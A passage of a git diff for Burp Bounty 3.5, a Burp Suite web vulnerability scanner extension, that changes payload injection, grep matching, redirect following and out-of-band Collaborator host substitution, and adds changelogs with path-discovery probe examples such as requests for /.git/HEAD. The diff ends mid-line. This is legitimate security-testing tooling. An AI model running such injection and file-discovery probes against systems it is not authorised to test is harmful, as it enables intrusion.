getInsertionPoints(IHttpRequestResponse baseRequestResponse) { List insertionPoints = new ArrayList(); - try{ + try { IRequestInfo request = helpers.analyzeRequest(baseRequestResponse); if (request.getMethod().equals("GET")) { @@ -134,7 +133,7 @@ public List getInsertionPoints(IHttpRequestResponse base byte[] req = baseRequestResponse.getRequest(); int len = helpers.bytesToString(baseRequestResponse.getRequest()).indexOf("HTTP"); int beginAt = 0; - + while (beginAt < len) { beginAt = helpers.indexOf(req, match, false, beginAt, len); if (beginAt == -1) { @@ -147,7 +146,7 @@ public List getInsertionPoints(IHttpRequestResponse base beginAt += match.length; } } - }catch (NullPointerException e){ + } catch (NullPointerException e) { return insertionPoints; } return insertionPoints; @@ -159,22 +158,23 @@ public List doActiveScan(IHttpRequestResponse baseRequestResponse, I JsonArray activeprofiles = new JsonArray(); params = new ArrayList(); - for (int i = 0; i < allprofiles.size(); i++) { - Object idata = allprofiles.get(i); - issue = gson.fromJson(idata.toString(), ProfilesProperties.class); - scanner = issue.getScanner(); + try { + for (int i = 0; i < allprofiles.size(); i++) { + Object idata = allprofiles.get(i); + issue = gson.fromJson(idata.toString(), ProfilesProperties.class); + scanner = issue.getScanner(); + + if (scanner == 1 && issue.getEnabled() && issue.getInsertionPointType().contains(insertionPoint.getInsertionPointType() & 0xFF)) { + activeprofiles.add(allprofiles.get(i)); + } - if (scanner == 1 && issue.getEnabled() && issue.getInsertionPointType().contains(insertionPoint.getInsertionPointType() & 0xFF)) { - activeprofiles.add(allprofiles.get(i)); + } + if (activeprofiles.size() == 0) { + return null; } - } - if (activeprofiles.size() == 0) { - return null; - } + GenericScan as = new GenericScan(this, callbacks, burpCollaboratorData, panel.getProfilesFilename(), allprofiles); - GenericScan as = new GenericScan(this, callbacks, burpCollaboratorData, panel.getProfilesFilename(), allprofiles); - try { IBurpCollaboratorClientContext CollaboratorClientContext2 = callbacks.createBurpCollaboratorClientContext(); burpCollaboratorData.setCollaboratorClientContext(CollaboratorClientContext2); String bchost = CollaboratorClientContext2.generatePayload(true); @@ -192,7 +192,6 @@ public List doPassiveScan(IHttpRequestResponse baseRequestResponse) JsonArray passivereqprofiles = new JsonArray(); List issues = new ArrayList(); - for (int i = 0; i < allprofiles.size(); i++) { Object idata = allprofiles.get(i); issue = gson.fromJson(idata.toString(), ProfilesProperties.class); diff --git a/src/BurpBountyGui.form b/src/BurpBountyGui.form index ec2844b..ff1d998 100644 --- a/src/BurpBountyGui.form +++ b/src/BurpBountyGui.form @@ -122,7 +122,7 @@ - + @@ -292,12 +292,12 @@ - + - + @@ -396,12 +396,12 @@ - + - + @@ -500,12 +500,12 @@ - + - + @@ -633,7 +633,7 @@ - + @@ -771,6 +771,130 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/BurpBountyGui.java b/src/BurpBountyGui.java index 229955a..16f5568 100644 --- a/src/BurpBountyGui.java +++ b/src/BurpBountyGui.java @@ -23,6 +23,7 @@ import com.google.gson.JsonParser; import com.google.gson.reflect.TypeToken; import com.google.gson.stream.JsonReader; +import java.awt.Desktop; import java.awt.Dimension; import java.awt.Toolkit; import java.awt.datatransfer.Clipboard; @@ -40,6 +41,8 @@ import java.io.IOException; import java.io.OutputStreamWriter; import java.io.PrintWriter; +import java.net.URI; +import java.net.URISyntaxException; import java.util.ArrayList; import java.util.Arrays; import java.util.List; @@ -155,9 +158,10 @@ public BurpBountyGui(BurpBountyExtension parent) { filename = callbacks.loadExtensionSetting("filename"); profiles_directory = filename + File.separator; } else { - filename = System.getProperty("user.dir"); + filename = System.getProperty("user.home"); profiles_directory = filename + File.separator; } + model = new DefaultTableModel() { @@ -2314,6 +2318,13 @@ private void initComponents() { jButton11 = new javax.swing.JButton(); jLabel48 = new javax.swing.JLabel(); jLabel49 = new javax.swing.JLabel(); + jPanel8 = new javax.swing.JPanel(); + jLabel53 = new javax.swing.JLabel(); + jLabel1 = new javax.swing.JLabel(); + jLabel3 = new javax.swing.JLabel(); + jLabel6 = new javax.swing.JLabel(); + jLabel7 = new javax.swing.JLabel(); + jLabel2 = new javax.swing.JLabel(); jCheckBoxMenuItem1.setSelected(true); jCheckBoxMenuItem1.setText("jCheckBoxMenuItem1"); @@ -2446,11 +2457,11 @@ public void actionPerformed(java.awt.event.ActionEvent evt) { .addComponent(jButton2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(button13, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(jButton16, javax.swing.GroupLayout.PREFERRED_SIZE, 103, javax.swing.GroupLayout.PREFERRED_SIZE)) - .addContainerGap(1063, Short.MAX_VALUE)) + .addContainerGap(997, Short.MAX_VALUE)) .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jPanel3Layout.createSequentialGroup() .addGap(133, 133, 133) - .addComponent(jScrollPane5, javax.swing.GroupLayout.DEFAULT_SIZE, 1033, Short.MAX_VALUE) + .addComponent(jScrollPane5, javax.swing.GroupLayout.DEFAULT_SIZE, 967, Short.MAX_VALUE) .addContainerGap())) ); jPanel3Layout.setVerticalGroup( @@ -2515,11 +2526,11 @@ public void actionPerformed(java.awt.event.ActionEvent evt) { .addComponent(jButton3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(button14, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(jButton17, javax.swing.GroupLayout.PREFERRED_SIZE, 103, javax.swing.GroupLayout.PREFERRED_SIZE)) - .addContainerGap(1063, Short.MAX_VALUE)) + .addContainerGap(997, Short.MAX_VALUE)) .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jPanel5Layout.createSequentialGroup() .addGap(133, 133, 133) - .addComponent(jScrollPane6, javax.swing.GroupLayout.DEFAULT_SIZE, 1033, Short.MAX_VALUE) + .addComponent(jScrollPane6, javax.swing.GroupLayout.DEFAULT_SIZE, 967, Short.MAX_VALUE) .addContainerGap())) ); jPanel5Layout.setVerticalGroup( @@ -2584,11 +2595,11 @@ public void actionPerformed(java.awt.event.ActionEvent evt) { .addComponent(jButton4, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(button15, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(jButton18, javax.swing.GroupLayout.PREFERRED_SIZE, 103, javax.swing.GroupLayout.PREFERRED_SIZE)) - .addContainerGap(1063, Short.MAX_VALUE)) + .addContainerGap(997, Short.MAX_VALUE)) .addGroup(jPanel7Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jPanel7Layout.createSequentialGroup() .addGap(133, 133, 133) - .addComponent(jScrollPane10, javax.swing.GroupLayout.DEFAULT_SIZE, 1033, Short.MAX_VALUE) + .addComponent(jScrollPane10, javax.swing.GroupLayout.DEFAULT_SIZE, 967, Short.MAX_VALUE) .addContainerGap())) ); jPanel7Layout.setVerticalGroup( @@ -2731,7 +2742,7 @@ public void actionPerformed(java.awt.event.ActionEvent evt) { .addComponent(jButton12, javax.swing.GroupLayout.PREFERRED_SIZE, 105, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(jScrollPane13, javax.swing.GroupLayout.PREFERRED_SIZE, 700, javax.swing.GroupLayout.PREFERRED_SIZE))) - .addGap(0, 373, Short.MAX_VALUE))) + .addGap(0, 297, Short.MAX_VALUE))) .addContainerGap()) ); jPanel4Layout.setVerticalGroup( @@ -2767,11 +2778,78 @@ public void actionPerformed(java.awt.event.ActionEvent evt) { jTabbedPane2.addTab(" Options ", jPanel4); + jLabel53.setFont(new java.awt.Font("Lucida Grande", 1, 18)); // NOI18N + jLabel53.setForeground(new java.awt.Color(255, 102, 51)); + jLabel53.setText("About"); + + jLabel1.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N + jLabel1.setText("Burp Bounty is a web application vulnerability scanner. This Burp Suite extension allows you, in a quick and simple way, to improve the active
and passive burpsuite scanner by means of personalized rules through a very intuitive graphical interface.Through an advanced search of
patterns and an improvement of the payload to send, we can create our own issue profiles both in the active scanner and in the passive."); + + jLabel3.setFont(new java.awt.Font("Tahoma", 1, 18)); // NOI18N + jLabel3.setForeground(new java.awt.Color(255, 102, 51)); + jLabel3.setText("More info at: https://burpbounty.net"); + jLabel3.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + jLabel3gowebBurp(evt); + } + }); + + jLabel6.setFont(new java.awt.Font("Tahoma", 1, 18)); // NOI18N + jLabel6.setForeground(new java.awt.Color(255, 102, 51)); + jLabel6.setText("Burp Bounty version 3.5"); + + jLabel7.setFont(new java.awt.Font("Tahoma", 1, 18)); // NOI18N + jLabel7.setForeground(new java.awt.Color(255, 102, 51)); + jLabel7.setText("Same scanner, different vulnerabilities"); + + jLabel2.setFont(new java.awt.Font("Arial", 0, 14)); // NOI18N + jLabel2.setText("If you need more power, I invite you to try the new Burp Bounty Pro, which gives you more power and automation during your manual pentests."); + + javax.swing.GroupLayout jPanel8Layout = new javax.swing.GroupLayout(jPanel8); + jPanel8.setLayout(jPanel8Layout); + jPanel8Layout.setHorizontalGroup( + jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel8Layout.createSequentialGroup() + .addGroup(jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel8Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel53) + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGroup(jPanel8Layout.createSequentialGroup() + .addGap(42, 42, 42) + .addGroup(jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 354, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel6, javax.swing.GroupLayout.PREFERRED_SIZE, 394, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel7, javax.swing.GroupLayout.PREFERRED_SIZE, 394, javax.swing.GroupLayout.PREFERRED_SIZE)))) + .addContainerGap(230, Short.MAX_VALUE)) + ); + jPanel8Layout.setVerticalGroup( + jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel8Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel53) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(31, 31, 31) + .addComponent(jLabel6, javax.swing.GroupLayout.PREFERRED_SIZE, 39, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel7, javax.swing.GroupLayout.PREFERRED_SIZE, 39, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 37, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap(473, Short.MAX_VALUE)) + ); + + jTabbedPane2.addTab(" About ", jPanel8); + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); this.setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addComponent(jTabbedPane2) + .addComponent(jTabbedPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 1140, Short.MAX_VALUE) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) @@ -3095,6 +3173,14 @@ private void editResponseProfile(java.awt.event.ActionEvent evt) {//GEN-FIRST:ev } }//GEN-LAST:event_editResponseProfile + private void jLabel3gowebBurp(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jLabel3gowebBurp + try { + Desktop.getDesktop().browse(new URI("https://burpbounty.net")); + } catch (URISyntaxException | IOException e) { + callbacks.printError("Active profile line 3178 Help web not opened: " + e); + } + }//GEN-LAST:event_jLabel3gowebBurp + // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton button13; @@ -3120,6 +3206,9 @@ private void editResponseProfile(java.awt.event.ActionEvent evt) {//GEN-FIRST:ev private javax.swing.JButton jButton4; private javax.swing.JButton jButton5; private javax.swing.JCheckBoxMenuItem jCheckBoxMenuItem1; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel43; private javax.swing.JLabel jLabel44; private javax.swing.JLabel jLabel45; @@ -3127,6 +3216,9 @@ private void editResponseProfile(java.awt.event.ActionEvent evt) {//GEN-FIRST:ev private javax.swing.JLabel jLabel49; private javax.swing.JLabel jLabel50; private javax.swing.JLabel jLabel51; + private javax.swing.JLabel jLabel53; + private javax.swing.JLabel jLabel6; + private javax.swing.JLabel jLabel7; private javax.swing.JMenuItem jMenuItem1; private javax.swing.JMenuItem jMenuItem2; private javax.swing.JMenuItem jMenuItem3; @@ -3140,6 +3232,7 @@ private void editResponseProfile(java.awt.event.ActionEvent evt) {//GEN-FIRST:ev private javax.swing.JPanel jPanel5; public javax.swing.JPanel jPanel6; private javax.swing.JPanel jPanel7; + private javax.swing.JPanel jPanel8; private javax.swing.JPopupMenu jPopupMenu1; private javax.swing.JPopupMenu jPopupMenu2; private javax.swing.JPopupMenu jPopupMenu3; diff --git a/src/BurpExtender.java b/src/BurpExtender.java index 8118da8..806adf5 100644 --- a/src/BurpExtender.java +++ b/src/BurpExtender.java @@ -1,7 +1,7 @@ -package burp; +package burp; -import burpbounty.BurpBountyExtension; +import burpbounty.BurpBountyExtension; -public class BurpExtender extends BurpBountyExtension { - -} +public class BurpExtender extends BurpBountyExtension { + +} \ No newline at end of file diff --git a/src/CHANGELOG.md b/src/CHANGELOG.md new file mode 100644 index 0000000..aba38a3 --- /dev/null +++ b/src/CHANGELOG.md @@ -0,0 +1,114 @@ +## Changelog +**3.5.0 20201001** +* Fixed bug with Payload and Payload without encode match type +* Changed the default directory from user.dir to user.home +* Added and variables for printing issue details in Advisory. +* Fixed regex grep case sensitive +* Better redirection performance +* Fixed bug with Match And Replace + + +**3.4.0 20200621** +* Fixed bug with delete button on windows systems +* Fixed bug with Java array + +**3.3.0 20200607** +* Fixed bug with windows systems +* New look and feel +* A lot of code rewritten for further optimization + + +**3.2.0 20200513** +* You can filter profiles by type +* Better and faster scroll +* New look and feel +* A lot of code rewritten for further optimization +* BurpCollaborator has been improved to use fewer hosts + + +**3.1.0 20200407** +* Fixed 12 issues from github +* Better performance of the match algorithm +* "Path discovery" option has been improved +* Profiles adapted to the new version + + +**3.0.6beta 20190819** +* Fixed error with tab +* Fixed error with status code + +**3.0.5beta 20190612** +* Choose insertion points type for one profile +* Fixed error with redirections + + +**3.0.4beta 20190217** +* "Path discovery" feature add new insertion points +* New tags for extract matches and better issue documentation +* Variations/Invariations match type feature +* Algorithm optimization +* New profiles added + + +**3.0.3beta 20190206** +* Add Match and Replace feature +* Delete Collaborator button (now start automatically) +* Improve Collaborator Thread +* Some minor improvements + +**3.0.2beta 20181217** +* Fixed error with comma separated + + +**3.0.1beta 20181207** +* Fixed error with timeout + + +**3.0.0beta 20181204** +* New multi-tab look and feel +* Passive scanner for requests +* Content-length comparer (for blindSQLi, etc.) +* Tags system for organize your profiles +* New BurpCollaborator Interaction +* New Profile Manager +* Deleted “not in cookie” functionality +* Some minor improvements + +**2.3 20181029** +* Improved profile manager +* Fixed some minor problems + + +**2.2 20181026** +* Fixed some minor problems + + +**2.1 20181024** +* Replace strings in payloads +* Field to put profile authors information +* Timeout option for blind vulns +* Multiple lines bb json file + + +**2.0 20181020** +* Add the burpcollaborator support +* Follow redirects and how many to follow +* Payload append or replace +* Space encoding choose +* Response codes to avoid +* Content type to avoid + + +**1.2 20180607** + - Solved bug with payload space + - Add "Exclude HTTP Headers" feature + - Add "Only in HTTP Headers" feature + + +**1.1 20180606** + - Some improvements for integrate with the BApps Store + + +**1.0 20180531** + - First public release + diff --git a/src/Changelog_3.0.4beta.md b/src/Changelog_3.0.4beta.md new file mode 100755 index 0000000..187adf3 --- /dev/null +++ b/src/Changelog_3.0.4beta.md @@ -0,0 +1,63 @@ +# Improvements Burp Bounty 3.0.4beta: + +### "Path discovery" feature add new insertion points + +New insertion points are added to the requests (To discover hidden files and directories), when you check the "Path Discovery" option in "Payload Options" section. For example in the request: + +GET /dir1/dir2/file.php?param=value HTTP/1.1 + +Generate three new Insertion points: + +1- GET {HERE} HTTP/1.1
+2- GET /dir1{HERE} HTTP/1.1
+3- GET /dir1/dir2{HERE} HTTP/1.1
+ +Then, if you put in payload /.git/HEAD, the three new request are: + +1- GET /.git/HEAD HTTP/1.1
+2- GET /dir1/.git/HEAD HTTP/1.1
+3- GET /dir1/dir2/.git/HEAD HTTP/1.1
+ +without param=value. + +Another example, in request: + +GET / HTTP/1.1
+ +Generate one new insertion point: + +1- GET {HERE} HTTP/1.1
+ +Then, if you put in payload "/assets../static/app.js", the one new request are: + +1- GET /assets../static/app.js HTTP/1.1
+ + +
+ + +For discover some useful files or directories: + +![PathFeature](https://github.com/wagiro/BurpBounty/blob/master/images/path.png) + + +### New tags for extract matches and better issue documentation + +All the matches of the requests and responses are highlighted. You can extract the matches of the requests and responses to the issuedetail, through the tags for the payloads and for the greps. It's useful for example, for extract endpoint from regex through passive scanner: + + +![TagsFeature](https://github.com/wagiro/BurpBounty/blob/master/images/tagsfeature.png) + + + +### Variations/Invariations match type feature +You can add issues by checking Variations/Invariations between the base response, and each payoad response. I have 31 different attributes for this(the names of the attributes are quite descriptive): + +![VariationsFeatur](https://github.com/wagiro/BurpBounty/blob/master/images/variations.png) + + +### Algorithm optimization +Improved some algorithms for better performance. + +### New profiles added +Various profiles was added in profiles directory diff --git a/src/Changelog_3.0.5beta.md b/src/Changelog_3.0.5beta.md new file mode 100755 index 0000000..fcfe94e --- /dev/null +++ b/src/Changelog_3.0.5beta.md @@ -0,0 +1,12 @@ +# Improvements Burp Bounty 3.0.5beta: + +### Choose insertion points type for one profile +For better optimization, now you can choose the insertion point type for one profile. For example, for discover new application paths, you only will choose the "Path discover" insertion point type, avoiding other innecesaries requests. + + +![insertionpointtype](https://github.com/wagiro/BurpBounty/blob/master/images/insertionpointtype.png) + + +### Fixed error with redirections + +In some cases the regex for redirection can cause 100% of the CPU usage. diff --git a/src/GenericScan.java b/src/GenericScan.java index d9ff98d..397c1c5 100644 --- a/src/GenericScan.java +++ b/src/GenericScan.java @@ -155,12 +155,18 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan break; case 3: payloadsEncoded = processPayload(payloads, encoders); - greps = payloadsEncoded; + greps = new ArrayList(); + for (String p : payloads) { + greps.add("true,Or," + p); + } payloads = payloadsEncoded; break; case 4: + greps = new ArrayList(); payloadsEncoded = processPayload(payloads, encoders); - greps = new ArrayList(payloads); + for (String p : payloads) { + greps.add("true,Or," + p); + } payloads = new ArrayList(payloadsEncoded); break; default: @@ -171,7 +177,9 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan } else { if (matchtype == 3) { - greps = payloads; + for (String p : payloads) { + greps.add("true,Or," + p); + } } } @@ -182,7 +190,8 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan } if (payloadposition == 2) { - payload = insertionPoint.getBaseValue().concat(payload); + String value = insertionPoint.getBaseValue(); + payload = value.concat(payload); } if (!headers.isEmpty()) { @@ -212,7 +221,7 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan try { startTime = System.currentTimeMillis(); - requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers)); + requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers, bchost)); endTime = System.currentTimeMillis(); difference = (endTime - startTime); } catch (Exception ex) { @@ -230,8 +239,9 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan if (difference >= time * 1000) { matches = new CustomScanIssue(requestResponse.getHttpService(), helpers.analyzeRequest(requestResponse).getUrl(), new IHttpRequestResponse[]{callbacks.applyMarkers(requestResponse, null, null)}, - "BurpBounty - " + issuename, issuedetail.replace("", helpers.urlEncode(payload)), issueseverity, - issueconfidence, remediationdetail, issuebackground, remediationbackground); + "BurpBounty - " + issuename, issuedetail.replace("", helpers.urlEncode(payload)), issueseverity, + issueconfidence, remediationdetail.replace("", helpers.urlEncode(payload)), issuebackground.replace("", helpers.urlEncode(payload)), + remediationbackground.replace("", helpers.urlEncode(payload))); } } @@ -251,7 +261,7 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan IResponseInfo r; try { - requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers)); + requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers, bchost)); } catch (Exception ex) { break; } @@ -286,7 +296,8 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan matches = new CustomScanIssue(requestResponse.getHttpService(), helpers.analyzeRequest(requestResponse).getUrl(), new IHttpRequestResponse[]{callbacks.applyMarkers(requestResponse, requestMarkers, null)}, "BurpBounty - " + issuename, issuedetail.replace("", helpers.urlEncode(payload)), issueseverity, - issueconfidence, remediationdetail, issuebackground, remediationbackground); + issueconfidence, remediationdetail.replace("", helpers.urlEncode(payload)), issuebackground.replace("", helpers.urlEncode(payload)), + remediationbackground.replace("", helpers.urlEncode(payload))); } } try { @@ -307,7 +318,7 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan IResponseInfo rbase; try { - requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers)); + requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers, bchost)); r = helpers.analyzeResponse(requestResponse.getResponse()); rbase = helpers.analyzeResponse(baseRequestResponse.getResponse()); } catch (Exception ex) { @@ -329,8 +340,9 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan matches = new CustomScanIssue(requestResponse.getHttpService(), helpers.analyzeRequest(requestResponse).getUrl(), new IHttpRequestResponse[]{callbacks.applyMarkers(requestResponse, null, responseMarkers)}, - "BurpBounty - " + issuename, issuedetail.replace("", helpers.urlEncode(grep)), issueseverity, - issueconfidence, remediationdetail, issuebackground, remediationbackground); + "BurpBounty - " + issuename, issuedetail.replace("", helpers.urlEncode(payload)).replace("", helpers.urlEncode(grep)), issueseverity, + issueconfidence, remediationdetail.replace("", helpers.urlEncode(payload)).replace("", helpers.urlEncode(grep)), issuebackground.replace("", helpers.urlEncode(payload)).replace("", helpers.urlEncode(grep)), + remediationbackground.replace("", helpers.urlEncode(payload)).replace("", helpers.urlEncode(grep))); } } try { @@ -355,7 +367,7 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan payload = payload.replace("{BC}", bchost); try { - requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers)); + requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers, bchost)); r = helpers.analyzeResponse(requestResponse.getResponse()); } catch (Exception ex) { callbacks.printError("GenericScan line 371: " + ex.getMessage()); @@ -364,7 +376,7 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan responseCode = new Integer(r.getStatusCode()); - burpCollaboratorData.setIssueProperties(requestResponse, bchost, issuename, issuedetail, issueseverity, issueconfidence, remediationdetail, issuebackground, remediationbackground); + burpCollaboratorData.setIssueProperties(requestResponse, bchost, issuename, issuedetail.replace("", helpers.urlEncode(payload)), issueseverity, issueconfidence, remediationdetail.replace("", helpers.urlEncode(payload)), issuebackground.replace("", helpers.urlEncode(payload)), remediationbackground.replace("", helpers.urlEncode(payload))); do { if (responseCodes.contains(responseCode) && loop < limitredirect) { @@ -373,7 +385,7 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan if (url != null) { byte[] checkRequest = helpers.buildHttpRequest(url); - checkRequest = getMatchAndReplace(headers, checkRequest, payload); + checkRequest = getMatchAndReplace(headers, checkRequest, payload, bchost); int port = 0; if (url.getPort() == -1) { port = url.getDefaultPort(); @@ -420,7 +432,7 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan } try { - requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers)); + requestResponse = callbacks.makeHttpRequest(httpService, new BuildUnencodeRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload), headers, bchost)); IHttpRequestResponse redirectRequestResponse = requestResponse; r = helpers.analyzeResponse(redirectRequestResponse.getResponse()); } catch (NullPointerException e) { @@ -455,7 +467,7 @@ public List runAScan(IHttpRequestResponse baseRequestResponse, IScan if (url != null) { byte[] checkRequest = helpers.buildHttpRequest(url); - checkRequest = getMatchAndReplace(headers, checkRequest, payload); + checkRequest = getMatchAndReplace(headers, checkRequest, payload, bchost); int port = 0; if (url.getPort() == -1) { port = url.getDefaultPort(); @@ -577,7 +589,7 @@ public List runResPScan(IHttpRequestResponse baseRequestResponse, Js for (int x = 0; x < grep_index; x++) { if (!greps_final.get(x).isEmpty()) { - matches = gm.getResponseMatches(baseRequestResponse, "", greps_final.get(x), issuename, issuedetail, issuebackground, remediationdetail, remediationbackground, "", matchtype, + matches = gm.getResponseMatches(baseRequestResponse, "", greps_final.get(x), issuename, issuedetail.replace("", helpers.urlEncode(greps_final.get(x).toString())), issuebackground.replace("", helpers.urlEncode(greps_final.get(x).toString())), remediationdetail.replace("", helpers.urlEncode(greps_final.get(x).toString())), remediationbackground.replace("", helpers.urlEncode(greps_final.get(x).toString())), "", matchtype, issueseverity, issueconfidence, notresponse, casesensitive, false, excludeHTTP, onlyHTTP); } @@ -651,7 +663,7 @@ public List runReqPScan(IHttpRequestResponse baseRequestResponse, Js for (int x = 0; x < grep_index; x++) { if (!greps_final.get(x).isEmpty()) { - matches = gm.getRequestMatches(baseRequestResponse, greps_final.get(x), issuename, issuedetail, issuebackground, remediationdetail, remediationbackground, matchtype, + matches = gm.getRequestMatches(baseRequestResponse, greps_final.get(x), issuename, issuedetail.replace("", helpers.urlEncode(greps_final.get(x).toString())), issuebackground.replace("", helpers.urlEncode(greps_final.get(x).toString())), remediationdetail.replace("", helpers.urlEncode(greps_final.get(x).toString())), remediationbackground.replace("", helpers.urlEncode(greps_final.get(x).toString())), matchtype, issueseverity, issueconfidence, casesensitive, notresponse); try { @@ -749,8 +761,9 @@ public URL getLocation(IHttpService httpService, IHttpRequestResponse response) } else if (Location.startsWith("/")) { url = new URL(httpService.getProtocol() + "://" + httpService.getHost() + Location); return url; - } else { - return null; + } else{ + url = new URL(httpService.getProtocol() + "://" + httpService.getHost() + "/" + Location); + return url; } } catch (MalformedURLException | NullPointerException | ArrayIndexOutOfBoundsException ex) { @@ -758,7 +771,7 @@ public URL getLocation(IHttpService httpService, IHttpRequestResponse response) } } - public byte[] getMatchAndReplace(List headers, byte[] checkRequest, String payload) { +public byte[] getMatchAndReplace(List headers, byte[] checkRequest, String payload, String bchost) { String tempRequest = helpers.bytesToString(checkRequest); if (!headers.isEmpty()) { @@ -769,6 +782,9 @@ public byte[] getMatchAndReplace(List headers, byte[] checkRequest, Str if (replace.contains("{PAYLOAD}")) { replace = replace.replace("{PAYLOAD}", payload); } + if (replace.contains("{BC}")) { + replace = replace.replace("{BC}", bchost); + } if (headers.get(x).match.isEmpty()) { tempRequest = tempRequest.replace("\r\n\r\n", "\r\n" + replace + "\r\n\r\n"); } else { @@ -778,6 +794,9 @@ public byte[] getMatchAndReplace(List headers, byte[] checkRequest, Str if (replace.contains("{PAYLOAD}")) { replace = replace.replaceAll("\\{PAYLOAD\\}", payload); } + if (replace.contains("{BC}")) { + replace = replace.replaceAll("\\{BC\\}", bchost); + } if 